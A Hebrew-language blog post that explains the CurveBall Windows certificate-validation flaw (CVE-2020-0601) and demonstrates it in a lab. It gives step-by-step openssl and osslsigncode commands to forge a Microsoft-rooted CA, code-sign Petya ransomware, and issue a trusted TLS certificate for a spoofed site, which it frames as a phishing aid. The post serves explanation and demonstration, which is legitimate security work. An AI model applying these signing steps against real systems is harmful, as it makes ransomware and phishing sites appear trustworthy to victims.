Home אבטחת מידעInformation Security הסבר וביצוע חולשת CVE-2020-0601 CurveBall – לחתום קובץ או תעודת SSL

הסבר וביצוע חולשת CVE-2020-0601 CurveBall – לחתום קובץ או תעודת SSL

by Tal Ben Shushan 17/01/2020 0 comment
הסבר וביצוע חולשת CVE-2020-0601 CurveBall – לחתום קובץ או תעודת SSL
נהנתם מהמאמר ? שתפו אותו!

הסבר וביצוע CVE-2020-0601 CurveBall – לחתום קובץ או תעודת SSL

CVE-2020-0601 קיבל בCVSS ציון של 8.1 (כל התקפה מעל 8 מוגדרת קריטית) למעשה החולשה מגיעה מהצורה בה חתימה דיגיטלית של תעודה משתמשת ב ECC – Elliptic Curve Cryptography (למשל כמו בפרוטוקול DIffie Hellmen שיש שימוש ב Elliptic Curve).

לפי ההסבר של NSA ומומחים נוספים, כאשר מיוצר הפרמטר G ה Generator, מיקרוסופט לא בודקים את ערך זה וכך למעשה התוקף יכול לספק ערך G משלו.
בזמן אמת כאשר מערכת ההפעלה תבדוק את התעודה היא תבדוק רק את ה Public Key ותשווה את זה לתעודה עצמה ולתעודה הנמצאת ב Trusted Root Certificate Authority ואז תשתמש בערך G של התעודה.

זאת אומרת שתוקף יכול לחתום “תעודה דיגיטלית” לאפליקציה וכך ליצור מצג שווא “כאילו” מיקרוסופט חתמה לו על האפליקציה.

בצורה זו למעשה התוקף יכול לשלוח קובץ “כופרה” Ransomware והמחשב למעשה לא יציג למשתמש אזהרה על הקובץ, שכן הקובץ חתום ע”י מיקרוסופט (כמובן שמערכת AV, אמורה לעלות על הכופרה, אך אם בוצע לו Packer אז יכול להיות שאין חתימה…)

דוגמה נוספת היא ברמת הדפדפן (שגם אציג במאמר כאן) שנוכל לחתום תעודה לאתר, נאמר “Phishing Site” שבו אני “מזייף” אתר כמו פייסבוק, ג’ימייל וכו’
כך למעשה המשתמש ייגש לאתר עם תעודה תקפה ועוד כזו שמיקרוסופט חתמה עליה וכך יעלה הסיכויים שהמשתמש יזין את פרטיו באתר.

ניתן לקרוא פרטים נוספים כאן

למשל בצורה הזו, חתמתי “כופרה” ע”י תעודה של מיקרוסופט ובכך הפכה הכופרה לחתומה.
*בהמשך המאמר אציג כיצד בצעתי את החתימה

כעת נבצע דוגמה, ניקח מפתח פרטי שנוצר מהתעודה של מיקרוסופט (במקרה כאן זה תעודת של מיקרוסופט שנמצאת ב Trusted Root Certificate) שם התעודה Microsoft ECC Product Root Certificate Authority 2018

מיקרוסופט הוציאה רשימת עדכונים לאיזה מערכות הפעלה ומספר בילד

הרשימה ארוכה למידי

Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1709 for 32-bit Systems
Windows 10 Version 1709 for ARM64-based Systems
Windows 10 Version 1709 for x64-based Systems
Windows 10 Version 1803 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1803 (Server Core Installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

נחתום את Petya Ransomware

ע”י POC שיצר “ollypwn” לקחתי את המפתח הפרטי שנוצר מתוך התעודה של חברת מיקרוסופט תעודת Root Trusted Certification בשם

“Microsoft ECC Product Root Certificate Authority 2018” ומהמפתח הפרטי הזה אצור תעודה שאיתה אחר כך אוכל לחתום על האפליקציה או אתר SSL

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

התעודה שנוצרה

לאחר מכן ניצור מפתח חדש, המפתח הזה ישמש אותנו לחתום “אפליקציות”

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

כעת ניצור CSR בקשה של תעודה, במצב נורמלי, CSR ישלח למשל לחותם רשמי כמו COMDO או מיקרוסופט או סימנטק וכו’
אבל בגלל שיש לנו תעודה “מזויפת” נוכל לבצע את הבקשה תחילה ואז ממנה לייצר תעודה שאיתה נחתום את Petya Ransomware

openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

כעת נחתום את הבקשה ע”י התעודה המזוייפת שיש לנו, ollypwn מציין שהתעודה של מיקרוסופט תקפה עד 2043 ואילו זו שניצור תקפה עד 2047

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

כעת ניצור PKCS12 על מנת לחתום אפליקציות, נשתמש במפתח שלנו ובתעודה ה”מזויפת” על מנת ליצור PKCS12

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

כעת נחתום את Petya Ransomware

osslsigncode sign -pkcs12 cert.p12 -pass a123456. -n "Sign By Tal" -in PetyaRansomware.exe -out PetyaRansomwareSignd.exe

כעת הקובץ חתום, נעביר אותו לWindows 10 בילד מספר 1909 שיצא כמובן ב 2019 חודש 9

כמובן עם סיסמא מוגן ב ZIP

נראה שהווירוס חתום, נבדוק את התעודה לעומק ונגלה שמי “שחתם” אותה, זה מיקרוסופט Microsoft ECC Product Root Certificate Authority 2018

 

יצירת תעודה לאתר

יצרתי אתר בכתובת Shushan.local וערכתי את הקובץ openssl_cs.conf לכתובת האתר Shushan.local וכעת יצרתי CSR

 

openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

כעת נחתום את ה CSR וניצור תעודה crt

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

כעת אשתמש בקבצים

ה Public Key והתעודה עצמה

cert.crt

המפתח הפרטי

cert.key

ה Intermidate Certifciate

spoofed_ca.crt

Windows 10 בילד מספר 1909, והוא סומך על האתר כאילו לאתר יש תעודה חתומה ע”י מיקרוסופט

 

**אציין שהשתמשתי בPOC של ollypwn

מאמרים קשורים

Leave a Comment